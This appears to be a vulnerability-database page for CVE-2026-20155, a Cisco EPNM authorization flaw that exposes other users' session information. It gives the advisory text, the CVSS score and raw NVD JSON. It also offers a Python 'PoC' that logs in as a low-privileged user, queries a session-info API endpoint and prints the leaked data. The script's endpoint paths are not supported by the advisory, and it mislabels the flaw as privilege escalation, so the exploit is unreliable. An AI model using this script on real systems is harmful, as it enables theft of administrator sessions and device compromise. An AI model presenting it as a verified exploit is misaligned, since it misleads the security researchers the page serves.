Security Vulnerability Report
中文
CVE-2026-20155 CVSS 8.0 HIGH

CVE-2026-20155

Published: 2026-04-01 17:28:31
Last Modified: 2026-04-03 16:11:11

Description

A vulnerability in the web-based management interface of Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker with low privileges to access sensitive information that they are not authorized to access. This vulnerability is due to improper authorization checks on a REST API endpoint of an affected device. An attacker could exploit this vulnerability by querying the affected endpoint. A successful exploit could allow the attacker to view session information of active Cisco EPNM users, including users with administrative privileges, which could result in the affected device being compromised.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_20155(target_url, username, password): """ PoC for CVE-2026-20155: Cisco EPNM Privilege Escalation via Improper Authorization. This script demonstrates how a low-privileged user can access sensitive session info. """ session = requests.Session() login_endpoint = f"{target_url}/webui/login" vulnerable_api = f"{target_url}/webui/rest/api/session-info" # Step 1: Authenticate with low privileges creds = {"username": username, "password": password} session.post(login_endpoint, data=creds) # Step 2: Access the vulnerable endpoint response = session.get(vulnerable_api) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Sensitive Data:") print(response.text) else: print("[-] Failed to exploit the vulnerability.") # Usage: exploit_cve_2026_20155("https://target-ip", "user", "pass")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20155", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:31.430", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker with low privileges to access sensitive information that they are not authorized to access.\r\n\r\nThis vulnerability is due to improper authorization checks on a REST API endpoint of an affected device. An attacker could exploit this vulnerability by querying the affected endpoint. A successful exploit could allow the attacker to view session information of active Cisco EPNM users, including users with administrative privileges, which could result in the affected device being compromised."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-epnm-improp-auth-mUwFWUU3", "source": "[email protected]"}]}}